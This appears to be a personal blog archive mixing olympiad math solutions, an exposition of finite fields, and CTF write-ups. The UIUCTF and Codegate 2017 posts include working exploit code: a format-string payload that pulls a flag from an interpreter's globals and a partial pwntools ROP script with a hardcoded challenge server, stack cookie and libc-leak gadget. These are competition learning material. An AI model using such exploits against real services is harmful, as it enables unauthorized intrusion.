ISL 2017 A1

Problem A1: Let a_1, a_2, \dots, a_n, k and M be positive integers such that

    \[ \frac{1}{a_1} + \frac{1}{a_2} + \cdots + \frac{1}{a_n} = k \qquad \textrm{and} \qquad a_1 a_2 \cdots a_n = M. \]

If M > 1, prove that the polynomial

    \[ P(x) = M(x + 1)^k - (x + a_1)(x + a_2) \cdots (x + a_n) \]

has no positive roots.

Solution A1: We appeal to a similar strategy that is used in IMO 2012-2. Write

    \[ x + a_i = (x + 1) + 1 + \cdots + 1 \geq a_i (x + 1)^{\frac{1}{a_i}}. \]

In particular, for x \geq -1, this implies

    \[ (x + a_1) \cdots (x + a_n) \geq M (x + 1)^k, \]

so x \geq -1 \implies P(x) \leq 0 with equality only at x = 0. Thus x > 0 \implies P(x) < 0, which is equivalent to P(x) has no positive roots.

Posted in Math | Leave a comment

IMO 2018 Day 2

Day 2 had a bunch of really nice problems with more advanced techniques required to solve them. Problem 6 is also hard and I will be writing it up at a later time.

Problem 4: A site is any point (x, y) in the plane such that x and y are both positive integers less than or equal to 20.

Initially, each of the 400 sites is unoccupied. Amy and Ben take turns placing stones with Amy going first. On her turn, Amy places a new red stone on an unoccupied site such that the distance between any two sites occupied by red stones is not equal to \sqrt{5}. On his turn, Ben places a new blue stone on any unoccupied site. (A site occupied by a blue stone is allowed to be at any distance fromany other occupied site.) They stop as soon as a player cannot place a stone.

Find the greatest K such that Amy can ensure that she places at least K red stones, no matter how Ben places his blue stones.

Solution 4: The given condition is equivalent to placing knights on a chessboard, with one party blocking a space every other turn. It is well known that on a 2n \times 2n chessboard, you can place 2n^2 knights by placing n knights in the n black squares in the 2n rows, and this is easily discoverable by playing around with placements a for a bit. Thus, if Ben blocks a placement every other turn, we can only place pieces on half of the squares described above, so for the case in a 20 \times 20 board, we conjecture that K = 100.

It remains to show that K > 100 is indeed impossible. To do this, we show that K \leq 100, or that Ben can play in a way such that Amy can only place at most 100 stones. To do this, we study the 4 \times 4 grid (tiled 25 times) as 4 distinct 4-cycles as follows:

p4 grid

If Amy places a stone in X, Ben will place his stone in the opposite corner of X. This ensures that Amy can no longer place any more stones in X. Since there are 4 regions per grid, Amy can only place 4 stones per grid. Thus, Amy can place at maximum of 100 stones if Bob plays in this manner and we are done.

Problem 5: Let a_1, a_2, \dots be an infinite sequence of positive integers. Suppose that there is an integer N > 1 such that for each n \geq N, the number

    \[ \frac{a_1}{a_2} + \frac{a_2}{a_3} + \cdots + \frac{a_{n - 1}}{a_n} + \frac{a_n}{a_1} \]

is an integer. Prove that there is a positive integer M such that a_m = a_{m + 1} for all m \geq M.

Solution 5: The key to this problem is to use a size argument on p-adic valuations to guarantee convergence of the a_i. We consider two consecutive sums, whose difference

    \[ \frac{a_n}{a_{n + 1}} + \frac{a_{n + 1}}{a_1} - \frac{a_n}{a_1} \]

must be an integer because the two sums are integers. Let \nu_p \left( \dfrac{a}{b} \right) = e_a - e_b where e_x are defined as p^{e_x} \mid x but p^{e_x + 1} \nmid x. This is the standard p-adic valuation. Note that because this difference is an integer, its p-adic valuation must be non-negative. This is a fact that will used repeatedly.

Now for all primes p, consider

  • p \nmid a_1. Then \nu_p(a_n}) \geq \nu_p(a_{n + 1}) for all n > N. Else the difference cannot be integral, which can be seen from the inequality \nu_p \left( \dfrac{a_n}{a_{n + 1}} + \dfrac{a_{n + 1}}{a_1} - \dfrac{a_n}{a_1} \right) \leq \min \left( \nu_p(a_n) - \nu_p(a_{n + 1}), \nu_p \left( \dfrac{a_{n + 1}}{a_1} - \dfrac{a_n}{a_1} \right) \right). We have equality when the two things inside the \min are unequal, and the second element is most definitely non-negative whereas if the first element is negative then they are clearly not equal.
  • p \mid a_1. In this case we claim \nu_p(a_n) eventually becomes constant. There are a few cases to consider here.

    • Suppose \nu_p(a_k) \geq \nu_p(a_1) > 0 for some k > N. We claim that \nu_p(a_1) \leq \nu_p(a_{n + 1}) \leq \nu_p(a_n) for all n \geq k, or that \nu_p(a_n) is eventually non-increasing and bounded below by \nu_p(a_1) so it must eventually be constant.

      For this case, we have \nu_p \left( \dfrac{a_n}{a_1} \right) \geq 0, meaning that the remaining terms in the difference must also satisfy

          \[ \nu_p \left( \frac{a_n}{a_{n + 1}} + \frac{a_{n + 1}}{a_1} \right) \geq 0. \]

      The trick here is to figure out where \nu_p(a_{n + 1}) goes. If \nu_p(a_{n + 1}) < \nu_p(a_1) \leq \nu_p (a_n), then \nu_p \left( \dfrac{a_{n + 1}}{a_1} \right) < 0 which is bad because \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) \geq 0. Else if \nu_p(a_{1}) \leq \nu_p(a_n) < \nu_p(a_{n + 1}), then \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) < 0 which is also bad because \nu_p \left( \dfrac{a_{n + 1}}{a_1} \right) \geq 0. We start at the base case n = k and inductively go onwards to show this for all n \geq k.

    • Suppose the opposite and that \nu_p(a_k) < \nu_p(a_1) for all k > N. Then for any n > N, we have

          \[ \nu_p \left( \frac{a_{n + 1}}{a_1} \right) < 0 \]

      and

          \[ \nu_p \left( \frac{a_n}{a_1} \right) < 0. \]

      We also wish to rank \nu_p(a_{n + 1}) somewhere between \nu_p(a_1) and \nu_p(a_n) to get eventual constant-ness. We claim that

          \[ \nu_p(a_n) \leq \nu_p(a_{n + 1}) < \nu_p(a_1). \]

      Clearly \nu_p(a_{n + 1}) \geq \nu_p(a_1) is impossible by assumption, so we wish to invalidate the case \nu_p(a_{n + 1}) < \nu_p(a_n). In this case, we have \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) > 0 so in order for the \nu_p of the difference to be non-negative, the \nu_p of the other two terms must agree, or

          \[ \nu_p \left( \frac{a_n}{a_1} \right) = \nu_p \left( \frac{a_{n + 1}}{a_1} \right) \implies \nu_p(a_n) = \nu_p(a_{n + 1}), \]

      a contradiction. Thus by induction (again) we have shown that \nu_p(a_n) is eventually constant.

    • Combining both these claims yields the desired result. For each of the finitely many primes dividing a_1, \nu_p(a_n) eventually becomes constant. That COMBINED WITH the fact \nu_p(a_{n + 1}) \leq \nu_p(a_n) for all p \nmid a_1 implies a_{n + 1} \mid a_n for all n eventually and because of this, must be constant.

      A caveat as noted by v_Enhance, we need the non-increasing condition in the first claim because otherwise setting b_n = p_n a_n where a_n is a good sequence and p_n is the n-th prime causes a contradiction!

Posted in Math | Leave a comment

IMO 2018 Day 1

I have solved problems 1 and 2. I have not yet attempted problem 3 but I believe that it is beyond me, especially within a time frame of four and a half hours.

Problem 1: Let \Gamma be the circumcircle of acute-angled triangle ABC. Points D and E lie on segments AB and AC, respectively, such that AD = AE. The perpendicular bisectors of BD and CE intersect at the minor arcs AB and AC of \Gamma at points F and G, respectively. Prove that the lines DE and FG are parallel (or are the same line).

Solution 1: This was more of an exercise in angle chasing than an actual problem and felt really out of place, even for a problem 1.

Extend FD and GE to X and Y on \Gamma, respectively. The goal is to show that DEXY are concyclic. Then, by using transversal FX, we have

    \[ \angle XFG = \angle XYG = \angle XYE = \angle XDE, \]

which solves the problem. We do this with more angle chasing. Compute

    \[ \angle YAD = \angle YAB = \angle YGB = \angle EGB = \angle EGC - \angle BGC = \angle EGC - \angle BAC = \angle EGC - \angle DAE. \]

Also compute

    \[ \angle YED = \angle DEA - \angle AEY = \angle DEA - \angle CEG = \frac{1}{2} (180 - \angle DAE) - \frac{1}{2} (180 - \angle EGC) = \frac{\angle EGC - \angle DAE}{2}. \]

This gives us the relation \angle YED = \dfrac{1}{2} \angle YAD and similarly \angle XDE = \dfrac{1}{2} \angle XAE. This is sufficient to show that X, Y lie on the circle centered at A passing through points D, E so DEXY is cyclic and we are done.

p1 diagram

Problem 2: Find all integers n \geq 3 for which there exist real numbers a_1, a_2, \dots, a_{n + 2}, such that a_{n + 1} = a_1 and a_{n + 2} = a_2 and

    \[ a_i a_{i + 1} + 1 = a_{i + 2} \]

for i = 1, 2, \dots, n.

Solution 2: This problem seemed kind of easy for a problem 2, or maybe I’m just getting better at math despite not doing any contest math for several years now.

We start by examining the case n = 3. We have the equations

    \[ \begin{aligned} a_1 a_2 + 1 &= a_3 \\ a_2 a_3 + 1 &= a_1 \\ a_3 a_1 + 1 &= a_2. \\ \end{aligned} \]

We can substitute for a_3 in the third equation to obtain

    \[ \begin{aligned} (a_1 a_2 + 1) a_1 + 1 &= a_2 \\ a_1^2 a_2 - a_2 + a_1 + 1 &= 0 \\ (a_1^2 - 1) a_2 + (a_1 + 1) &= 0 \\ (a_1 + 1)(a_1 - 1) a_2 + (a_1 + 1) &= 0 \\ (a_1 + 1)(a_1 a_2 - a_2 + 1) &= 0, \\ \end{aligned} \]

which implies either \implies a_1 = -1 or a_3 = a_2. Let’s just say for now that a_1 = -1. Then a_2 a_3 = -2 and a_2 + a_3 = 1, so a_2, a_3 are the roots of the polynomial x^2 - x - 2 = (x - 2)(x + 1). We then notice that the sequence will go on as -1, -1, 2, -1, -1, 2, \dots indefinitely, so 3 \mid n is definitely valid.

This begs the question of: are these the only solutions? This suggests looking at the indices modulo 3, and there are only a few ways to obtain some nice looking equalities from the given conditions involving i, i + 1, and i + 2. First, we know from the condition a_i a_{i + 1} + 1 = a_{i + 2} that a_i a_{i + 1} a_{i + 2} + a_{i + 2} = a_{i + 2}^2. If we substitute a_{i + 1} a_{i + 2} = a_{i + 3} - 1, we obtain

    \[ \begin{aligned} a_i a_{i + 1} a_{i + 2} + a_{i + 2} &= a_i (a_{i + 3} - 1) + a_{i + 2} \\ a_i a_{i + 1} a_{i + 2} + a_{i + 2} &= a_i a_{i + 3} - a_i + a_{i + 2} \\ a_i a_{i + 1} a_{i + 2} + a_i &= a_i a_{i + 3}, \\ \end{aligned} \]

which totally suggests that there is something going on between a_i and a_{i + 3}. When you have a general equality and you have no idea what to do with it, taking the sum is usually not a bad choice so we do that here to obtain (we also extend the sequence so that is infinite with cycle of length n):

    \[ \begin{aligned} \sum_{i = 1}^{n} a_i a_{i + 3} &= \sum_{i = 1}^{n} (a_i a_{i + 1} a_{i + 2} + a_i) \\ &= \sum_{i = 1}^{n} a_i a_{i + 1} a_{i + 2} + \sum_{i = 1}^{n} a_i \\ &= \sum_{i = 1}^{n} a_i a_{i + 1} a_{i + 2} + \sum_{i = 1}^{n} a_{i + 2} \\ &= \sum_{i = 1}^{n} (a_i a_{i + 1} a_{i + 2} + a_{i + 2}) \\ &= \sum_{i = 1}^{n} a_{i + 2}^2 = \sum_{i = 1}^{n} a_i^2. \\ \end{aligned} \]

The equality \displaystyle{\sum_{i = 1}^{n} a_i a_{i + 3} = \sum_{i = 1}^{n} a_i^2} really suggests that the sequence should be cyclic with length 3, so let’s try to prove it! Recall the AM-GM equality, where if we have non-negative numbers a, b, then \dfrac{a + b}{2} \geq \sqrt{ab}. We apply it to the LHS to obtain a_i a_{i + 3} \leq |a_i a_{i + 3}| \leq \dfrac{a_i^2 + a_{i + 3}^2}{2}. Taking the sum over the first n terms, we have

    \[ \sum_{i = 1}^{n} a_i a_{i + 3} \leq \frac{1}{2} \sum_{i = 1}^{n} (a_i^2 + a_{i + 3}^2) \leq \sum_{i = 1}^{n} a_i^2. \]

Since the two sides are actually equal by the previous computation, the equality condition of AM-GM must be met, or a_i = a_{i + 3}. Thus the cycle length divides 3, so it must either be three or one. We have seen previously that three works, so we focus our efforts on one. A cycle length of one means that the sequence is constant, or a_i = c and

    \[ c^2 + 1 = c \implies c^2 - c + 1 = 0, \]

but that equation has no real roots.

The answer is then all n \geq 3 such that n \equiv 0 \pmod{3}.

Posted in Math | Leave a comment

I finally released a thing

It’s a small tool to parse Unity3D TestResults files from testing in CI/CD environments, but it’s a tool nevertheless. You can find it at https://hackage.haskell.org/package/unity-testresult-parser.

Posted in Programming, Software | Leave a comment

Revenge of the Finite Fields

A few days ago, I posted some proofs and a construction of finite fields. It turns out there are a lot more nice constructions and proofs and problems related to finite fields, so I’ll be sharing some of them here.

Theorem: Let N_n be the number of monic irreducible polynomials in \ZZ_p[X]. Then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof:
Consider the following zeta function.

    \[ \zeta = \sum_{f \in \ZZ_p[X]\,\textrm{monic}} X^{\deg f}. \]

There are only p^n monic polynomials of degree n so

    \[ \zeta = \sum_{n \geq 0} p^n X^n = \frac{1}{1 - pX}. \]

Monic polynomials have a unique factorization into monic polynomial factors, after some computation, we can arrive at

    \[ \zeta = \prod_h \left( 1 + X^{\deg h} + X^{2 \deg h} + \cdots \right) = \prod_h \frac{1}{1 - X^{\deg h}}, \]

where h are the monic irreducible polynomials of \ZZ_p[X]. We can then compute the equality

    \[ \log \frac{1}{1 - pX} = \sum_h \log \frac{1}{1 - X^{\deg h}} = \sum_{n \geq 0} N_n \log \frac{1}{1 - X^n}. \]

Recall that \log \frac{1}{1 - X} = \sum_{k \geq 1} \frac{X^k}{k}. Substituting, we get

    \[ \sum_{k \geq 1} \frac{p^k X^k}{k} = \sum_{n \geq 0} \left( N_n \sum_{j \geq 1} \frac{X^{jn}}{j} \right). \]

Let us examine the coefficient of X^k of the LHS. We compute

    \[ \frac{p^k}{k} = \sum_{jn = k} \frac{1}{j} N_n, \]

or

    \[ p^k = \sum_{n \mid k} n N_n, \]

as desired.

We now construct finite fields in a different way.

Theorem: Any field has an algebraic closure and its closure is unique up to isomorphism.

Proof: This is actually a fun exercise and proofs of this result can be found almost everywhere.

Theorem: Let \overline{\ZZ_p} be the algebraic closure of \ZZ_p. Let \FF_q = \lbrace x \in \overline{\ZZ_p} \mid x^q = x \rbrace, where q is a power of p. Then \FF_q is the unique field with q elements contained in \overline{\ZZ_p}.

Proof: We first verify that \FF_q is a field. Namely, x^q = x, y^q = x \implies (xy)^q = x^q y^q = xy and x^q = x, y^q = x \implies (x + y)^q = x^q + y^q = x + y. \FF_q clearly has q elements because X^q - X splits into q distinct linear factors over \overline{\ZZ_p}[X] and those factors are distinct (compute gcd with derivative).

Now let K be some other subfield of \overline{\ZZ_p} with q elements. K^* is a group with q - 1 elements so we have x^{q - 1} = 1, and we can trivially extend this to x^q = x for x \in K, so K \subseteq \FF_q. But |K| = |\FF_q|, so K = \FF_q.

We can rephrase the above theorem as follows. \FF_{p^n} is the splitting field of the polynomial X^{p^n} - X over \ZZ_p.

Theorem: Let K be an arbitrary finite field with q elements. Let f be an irreducible polynomial of degree n and let \alpha be one of its roots. Then K(\alpha) is a field with q^n elements.

Proof: This is a standard exercise with respect to field extensions.

Anyways, now for some problems.

Problem 1: (IMO Shortlist 1989) Suppose an integer sequence a_{n \geq 1} satisfies

    \[ 2^n = \sum_{d \mid n} a_d \]

for all n \in \NN. Prove that n \mid a_n for all n \in \NN.

Solution: Let us compute the Möbius inversion. We get

    \[ a_n = \sum_{d \mid n} \mu \left( \frac{n}{d} \right) 2^d. \]

Recall that elements of \FF_{2^n} satisfy the polynomial X^{2^n} - X = 0. We count the number of elements of order precisely 2^n - 1. Namely, we need to subtract off elements of orders 2^d - 1 with d \mid n (can you see why?). We can do this with PIE, which is precisely the formula above. So a_n is the number of elements in \FF_{2^n} with order 2^n - 1. Now consider the set of minimal polynomials of these elements. They must have degree n, otherwise they would also belong in \FF_{2^d} for some d \mid n, and each of these polynomials has n distinct roots in \FF_{2^n}, so we are done.

Problem 2: (IMO Shortlist) Let a_0 = 2, a_n = 2a_{n - 1}^2 - 1. If p > 2 and p \mid a_n, show that 2^{n + 3} \mid p^2 - 1.

Solution: We first obtain a formual for a_n. Check that

    \[ \frac{x^2 + x^{-2}}{2} = 2 \cdot \left( \frac{x + x^{-1}}{2} \right)^2 - 1. \]

This means that x_{n + 1} = x_n^2, or x_n = x_0^{2^n}. Set \frac{x + x^{-1}}{2} = 2 to obtain x = 2 \pm \sqrt{3}, so

    \[ a_n = \frac{(2 + \sqrt{3})^{2^n} + (2 - \sqrt{3})^{2^n}}{2}. \]

Let p > 2 be a prime factor of a_n. Pick some \alpha in \overline{\ZZ_p} such that \alpha^2 = 3. Notice

    \[ \alpha^{p^2 - 1} = \left( \alpha^{p + 1} \right)^{p - 1} = \left( 3^{\frac{p + 1}{2}} \right)^{p - 1} = 1, \]

so \alpha^{p^2} = \alpha and \alpha \in \FF_{p^2}. Define a map \phi : \ZZ[\sqrt{3}] \to \FF_{p^2} given by a + b \sqrt{3} \mapsto a + b \alpha. This is a ring homomorphism. Let x = \phi(2 + \sqrt{3}), y = \phi(2 - \sqrt{3}). x, y are non-zero because xy = \phi(1) = 1. Additionally, p \mid a_n \implies x^{2^n} + y^{2^n} = 0. Now compute

    \[ \begin{aligned} x^{2^n} + y^{2^n} &= 0 \\ x^{2^{n + 1}} + y^{2^{n + 1}} &= -2, \\ x^{2^{n + 2}} + 2 + y^{2^{n + 2}} &= 4 \\ x^{2^{n + 2}} - 2 + y^{2^{n + 2}} &= 0 \\ x^{2^{n + 1}} - y^{2^{n + 1}} &= 0, \\ x^{2^{n + 1}} = y^{2^{n + 1}} &= -1. \end{aligned} \]

Therefore x^{2^n + 2} = 1 and the order of x MUST be 2^{n + 2} (otherwise x^{2^{n + 1}} = -1 is impossible), so 2^{n + 2} \mid p^2 - 1. Suppose x \in \FF_p. Then we know that 2^{n + 2} \mid p - 1 so trivially 2^{n + 3} \mid p^2 - 1. Now suppose not. Then x, y are roots of irreducible X^2 - 4X + 1 \in \FF_p[X]. Raising the equality x^p -4x + 1 = 0 to the p-th power, we get that x^{2p} - 4x^p + 1 = 0. If x^p = 1, then x^p is either x or y. If x^p = x, then x \in \FF_p so we must have the latter, x^p = y, which implies x^{p + 1} = 1. But then, 2^{n + 2} \mid p + 1, so we trivially obtain 2^{n + 3} \mid p^2 - 1.

Problem: (China TST 2008) Let x_1 = 2, x_2 = 12, x_{n + 2} = 6x_{n + 1} - x_n. Let p be an odd prime and q be a prime divisor of x_p. Prove that if q \neq 2, 3, then q \geq 2p - 1.

Solution: Compute

    \[ x_n = \frac{\left( 3 + \sqrt{8} \right)^n - \left( 3 - \sqrt{8} \right)^n}{\sqrt{8}}. \]

Like, before, we can take \alpha^2 = 2 in \overline{\ZZ_q} and define the ring homomorphism \phi. Let x = \phi(3 + 2 \sqrt{2}) and y = \phi(3 - 2 \sqrt{2}). We clearly have

    \[ x^p - y^p = 0. \]

Compute xy = \phi(1) = 1 and using a similar trick in the previous problem, compute

    \[ x^p + y^p = \pm 2, \]

so x^p = y^p = \pm 1. Let us focus on the equality x^{2p} = 1. If x \in \FF_q, then the order is either 1, p, or 2p. If the order is 1, then x = 1 and 2 = -2 \alpha, and squaring yields 4 = 8 which is only true in \FF_{2^n}, but q \neq 2. If the order is p, then p \mid q^2 - 1, so p \mid q - 1 or p \mid q + 1. If p \mid q - 1, then q \neq 2, 3 forces p \leq \frac{q - 1}{2} (p is an odd prime). Similarly, if p \mid q + 1, then p \leq \frac{q + 1}{2}. If the order is 2p, then 2p \mid q^2 - 1, or p \mid \frac{q^2 - 1}{2}, or p \mid \frac{q - 1}{2} \cdot (p + 1) or p \mid \frac{q + 1}{2} \cdot (q - 1), both which eventually give the desired inequality. Notice that this only works if 2 is not a quadratic residue mod q. However, if 2 is a quadratic residue mod q, then we get either p \mid q - 1 or 2p \mid q - 1, both of which yield the desired result.

Posted in Math | Leave a comment

Finite Fields for Mortals

I’ve been studying a bunch of cryptography lately, and I thought it would be nice to present finite fields in some relatively easy to understand way that doesn’t require too much prior knowledge. All that is really needed here is a basic understanding of fields from an abstract algebra class and some introductory number theory.

We say a field F with multiplicative identity e has characteristic p if p \cdot e = 0. If F is infinite then it has characteristic 0. We are primarily interested in the finite case.

We get this nice little corollary: Let F be a field of positive characteristic p. Then p is prime.

Proof: Suppose p is not prime. Then p = ab and p \cdot e = ab \cdot e = (a \cdot e) \cdot (b \cdot e) = 0, so F has zero divisors and is not a field.

Here is another really easy to understand corollary: Let F be a field of characteristic p. Then F is a vector space over \ZZ_p = \ZZ/p\ZZ.

Proof: Trivial. Just write out the canonical action via \ZZ_p and everything just works.

If you’ve taken any sort of linear algebra, we now realize that because F is finite dimensional over \ZZ_p, we can write F \simeq (\ZZ_p)^n, and the standard notation for this is F = \FF_{p^n}.

The obvious question now is, given p^n, can we construct a field of that size, and the answer is yes. Let f be an irreducible polynomial in \ZZ_p[X] of degree n. I claim \ZZ_p[X] / \cycgroup{f} is a field of size p^n and characteristic p.

Proof: Characteristic is quite easily seen because of the base ring taking coefficients in \ZZ_p. To see that this quotient has p^n elements, we can see that each of the polynomials of \ZZ_p[X] of degree less than n are distinct and there are precisely p^n of those. For polynomials of degree at least n, we can replace them with polynomials of degree less than n, so this works. More precisely, for each term of degree k \geq n, we can find a polynomial of g of degree k \in \cycgroup{f} such that c_1 X^k - c_2 g has degree less than k because \ZZ_p is a field and we repeat until the degrees are within the desired range.

Okay, so this is at least a ring, but how are we so sure that it is a field? One easy way to see this comes from the theory of commutative rings. If R is a commutative ring and I is a maximal ideal, then R / I is a field, and \cycgroup{f} is maximal if and only if f is irreducible (the ideal generated by one of the factors is a “larger” ideal). We will prove the previous statement.

Proof: Let R be commutative and I be a maximal ideal. Let [r] \in R / I be non-zero so that r + I is non-zero. Define X = \lbrace i + rs : i \in I, s \in R \rbrace. This is clearly non-empty so take x, y \in X and write x = i_1 + rs_1, y = i_2 + rs_2, where it becomes quite obvious that x + y \in X. Now take some X \ni x = i + rs, s' \in R, compute xs' = is' + rss' = s'x, so X is also an ideal. On the other hand, we have I \subseteq X \subseteq R, but r \not \in I and r \in X, so I \subset X \subseteq R, but I is maximal so X = R, so 1 \in X, or there exists i \in I, s \in R such that 1 = i + rs, or 1 + I = rs + I = (r + I) (s + I), and s + I = [s] = [r]^{-1}.

So now all that remains is to show that there is always some irreducible polynomial and we can always construct a finite field. We will need the following useful theorems.

Theorem 1: If K is a finite field, then the group of units K^* is cyclic and there is a generator x \in K^* with order |K| - 1.

Proof: We follow the classical proof of showing the existence of primitive roots modulo p. In fact, this is precisely the analogous statement for primitive roots modulo p but for finite fields.

Let K = \FF_{p^n}. For all d \mid p^n - 1, we define the set A_d = \lbrace f \in K : \ord(f) = d \rbrace. Any element has an order that divides |K^*|, so this forms a partition. Namely,

    \[ \sum_{d \mid p^n - 1} |A_d| = |K^*| = p^n - 1. \]

I claim for any d we have |A_d| \leq \varphi(d). If |A_d| is empty, we are done so pick any element a of order d from A_d. In particular, this means that 1, a, a^2, \dots, a^{d - 1} are distinct solutions of X^d = 1. This polynomial X^d - 1 has at most d solutions in K and thus in K^* as well (it’s easy to check that zero is not a solution). Hence if we pick arbitrary x \in A_d, there exists some 0 \leq i \leq d - 1 such that a^i = x, but the order of x is precisely d, so \gcd(i, d) = 1. The set \lbrace a^i \mid \gcd(i, d) = 1 \rbrace has precisely \varphi(d) elements, and A_d is a subset of that, which gives us the result.

We then recall that the sum

    \[ \sum_{d \mid n} \varphi(d) = n. \]

This implies that |A_d| = \varphi(d) via a simple size argument. In particular, we now know that |A_{p^n - 1}| \geq 1 and any element of A_{p^n - 1} should generate \FF_{p^n} by definition.

Theorem 2: The product of all irreducible monic polynomials f \in \FF_p[X] such that \deg(f) \mid n is X^{p^n} - X.

Proof: Let P be this product. P is squarefree in \FF_p[X] because it is relatively prime to its derivative, which is -1. Thus to show that P = X^{p^n} - X, we only need to show that they share the same monic irreducible factors.

Let f be a monic irreducible factor of X^{p^n} - X of degree d. Then K = \FF_p[X] / \cycgroup{f} is a finite field with p^d elements. I claim that x^{p^n} = x for all x \in K. Write x = a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1}. We have, by the freshman dream, the following computation.

    \[ \begin{aligned} x^{p^n} &= (a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1})^{p^n} \\ &= a_0^{p^n} + a_1^{p^n} X^{p^n} + \cdots + a_{d - 1}^{p^n} X^{(d - 1) p^n} \\ &= a_0 + a_1 X^{p^n} + \cdots + a_{d - 1} X^{(d - 1) p^n} \\ &= a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1} \\ &= x, \\ \end{aligned} \]

where the final equality stems from the fact that X^{c p^n} - X^c = (X^{p^n} - X)(\dots) \in \cycgroup{f}. Now pick x \in K^* of order p^d - 1, so we obtain p^d - 1 \mid p^n - 1 \iff d \mid n, so monic irreducible factors of X^{p^n} - X have degree that divides n.

Now take some f \in \FF_p[X] that is monic, irreducible, and of degree d \mid n. Take K = \FF_p[X] / \cycgroup{f} as a field with p^d elements, so X^{p^d} = X. Since d \mid n, we easily obtain X^{p^n} = X, which is what we needed.

Corollary: If N_n is the number of monic irreducible polynomials in \FF_p[X] of degree n, then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof: We know that X^{p^n} - X is the product of all monic irreducible polynomials with degree dividing n. Taking the degrees of both sides of this equality yields

    \[ p^n &= \sum_{d \mid n} d N_d, \]

which is precisely what we wanted.

Another corollary: N_n > 0 for all n \geq 1.

Proof: We take the Möbius inversion of the above equality. In particular, this yields,

    \[ n N_n = \sum_{d \mid n} \mu \left(\frac{n}{d}\right) p^d. \]

Note that p^n > 1 + p + p^2 + \cdots + p^{n - 1} so the RHS is most definitely positive, so N_n > 0.

All that is really left to show for basic properties of finite fields is that they are unique up to isomorphism. Namely, if f, g are both irreducible polynomials of the same degree, then \ZZ_p[X] / \cycgroup{f} \simeq \ZZ_p[X] / \cycgroup{g}. I leave this as an exercise to the reader.

So why finite fields? Well a lot of modern cryptography is done over finite fields. Namely, AES does computations in GF(2^8) \simeq \FF_{2^8}. Elliptic curves can also be defined over any field. In particular, cryptography is interested in the case where the fields are finite. Elliptic curves over \CC presents a lot of rich structure as well, but is not of any real cryptographic use to my knowledge. More specifically, standard ECC and ECDH can be done over any finite field, but in the case of SIDH (supersingular isogeny Diffie-Hellman), our curves are over \FF_{p^2}. Visually, it makes absolutely no sense to visualize polynomials as coordinate points but the algebra checks out and that’s all you really need to care about. Visualizations over \RR and maybe \FF_p should give you enough intuition to work in other fields. Anyways, I am excited to see more uses of finite fields to confuse a bunch of aspiring CS students as well as whatever people will use it for in the future.

Posted in CTF, Math | Leave a comment

UIUCTF2017 – uiuctfsck

This was a brainfuck interpreter that let you print out some internal machine state. Notice that the interpreter does not like it if we have the string “machine” in our format string. We examine the machine object, and notice that machines[i].__init__.__globals__ had our flag, so as long as we could get our format string to contain “machine” after the check, we are in the clear. Luckily, there are 3 hex characters in “mAChinE”, so setting our data pointer to 0xAC, 0xA, 0xC, 0xE with the corresponding %x in the correct place in the format string “{machine.__init__.__globals__[flag]}” would print out the flag. The reference solution is posted below.

from interpreter import interpret_program

prog = ">"*0xac
format_attack = "{m%xhine.__init__.__globals__[flag]}"
for char in format_attack:
    prog += "+"*ord(char) + ">"
prog += "<"*len(format_attack)
prog += '.'

interpret_program(prog)
print(prog)
Posted in CTF | Leave a comment

UIUCTF2017 – OldTV

Not many people solved this despite the author and I believing that this should have been an easy challenge. We were given the following program:

from binascii import hexlify
from fractions import gcd
import rsa

pub, priv = rsa.newkeys(2048)

with open('flag.txt') as f: flag = f.read()

signme = 1337

q = priv.q
p = priv.p
d = priv.d
e = priv.e
n = priv.n

# RSA signatures are way too slow I'm gonna go sanic

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

s1 = pow(signme, d % (p - 1), p)
s2 = pow(signme, d % (p - 1), q)
qinv = modinv(q, p)
h = (qinv * (s1 - s2)) % p
s = s2 + h * q

print "parameters:"
print e
print n
print "signed 1337 with"
print s
print "encrypted flag"
print hexlify(rsa.encrypt(flag, pub))

Initially, you should try to verify the signature and compute s^e \pmod{n}, and realize that it is not 1337. We eventually notice that d_q \equiv d \pmod{p - 1}, which is incorrect, so we pull out a pencil and paper and calculate.

    \[ \begin{aligned} s_1 &\equiv m^{d_p} \pmod{p} \implies c_1 p + s_1 = m^{d_p} \\ s_2 &\equiv m^{d_p} \pmod{q} \implies c_2 q + s_2 = m^{d_p} \\ s_1 - s_2 &= c_2 q - c_1 p \\ h &\equiv q^{-1} (c_2 q - c_1 p) \pmod{p} \implies h \equiv c_2 \pmod{p} \\ s &\equiv m^{d_p} - c_2 q + hq \equiv m^{d_p} \pmod{p} \\ ed_p &\equiv 1 \pmod{p - 1} \implies s^e \equiv m \pmod{p} \\ \end{aligned} \]

We can then just compute \gcd(s^e - m, n) to get p, where s^e - m is taken modulo n. The chances of s^e - m \equiv 0 \pmod{n} are really small, so this works most of the time.

Posted in CTF, Math | Leave a comment

Codegate 2017 Prequals – BabyPwn

This was a straightforward ROP challenge, which was made difficult on our side due to bandwidth issues.

Interestingly enough, every time we tried to leak the stack cookie it started with a null byte. We have a read primitive (actually just a function) at 0x80488b1 which we can leverage to read off entries from the plt. With this, we can grab libc addresses to fingerprint a specific version and then find offsets to the functions we want. Stacks are also cleaned up by the caller, so we need to return back to the main loop to retrigger our ROP chain every time we call a new function.

#! /usr/bin/env python2

from pwn import remote, p32, u32, args, log

choicestr = "Select menu > "
inputstr  = "Input Your Message : "

if args['REMOTE']:
    r = remote("110.10.212.130", 8888)
else:
    r = remote("localhost", 8181)

r.recvuntil(choicestr)
# r.sendline("1")
# r.recvuntil(inputstr)
# r.send("A" * 41)
# v = r.recvuntil(choicestr)

# x = v[40:]
# print x.encode("hex")

# cookie = x[1:4]
cookie = "00228d33".decode("hex")
pl_base = "A" * 40 + cookie + "BBBB" + "CCCC" + "DDDD"
loop = 0x8048a71


# we can use this to leak libc addresses
#log.info("print(__libc_start_main)")
#r.sendline("1")
#r.recvuntil(inputstr)
#r.send(pl_base + p32(0x80488b1) + p32(loop) + p32(0x804b03c))
#r.recvuntil(choicestr)
#r.sendline("3")
#res = r.recvuntil(choicestr)
